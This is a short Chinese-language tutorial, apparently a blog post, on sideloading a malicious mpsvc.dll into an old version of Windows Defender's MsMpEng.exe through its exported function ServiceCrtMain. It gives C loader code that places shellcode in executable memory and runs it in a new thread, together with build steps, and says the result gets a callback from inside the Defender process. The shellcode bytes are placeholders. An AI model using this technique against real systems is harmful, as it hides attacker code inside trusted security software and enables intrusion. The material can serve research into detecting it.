Windows Defender dll sideload

Windows Defender dll sideload

不说废话,直接开始,老版本defender存在一个dll sideload问题,我们可以通过替换正常的mpsvc.dll,从而实现白利用,

虽然私底下和一些朋友有过相关的交流,但是由于部分朋友在利用过程中存在一些问题,所以记录其中的步骤。

  • 主程序:MsMpEng.exe
  • 加载dll:mpsvc.dll
  • 导出函数:ServiceCrtMain

你没有看错就是defender主程序。

avatar

dll sideload

攻击者可以通过劫持用于加载DLL的库清单来执行自己的恶意负载。攻击者可以通过将合法的库替换为恶意的库,来利用程序的库清单中模糊的引用,从而导致操作系统在受害程序调用时加载其恶意库。

dll编写

  1. MsMpEng.exe不会加载dllmain函数,它会直接调用导出函数ServiceCrtMain
1
2
3
4
5
6
7
8
STDAPI ServiceCrtMain(void) {
unsigned char shellcode[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
HANDLE Mythread = CreateThread(NULL, 0, LPTHREAD_START_ROUTINE(exec), NULL, 0, NULL);
WaitForSingleObject(Mythread, INFINITE);
return (HRESULT)S_OK;
}
  1. CFF explorer要能看到编译后dll的导出函数表,且表中有ServiceCrtMain函数。

avatar

  1. 导出函数表需要定义在def文件中,并导入到源文件,这里位dllmain.del

avatar

avatar

  1. 通过链接器设定模块定义文件。

avatar

  1. 编译dll,并运行MsMpEng.exe进行复现,上线进程MsMpEng。

avatar

avatar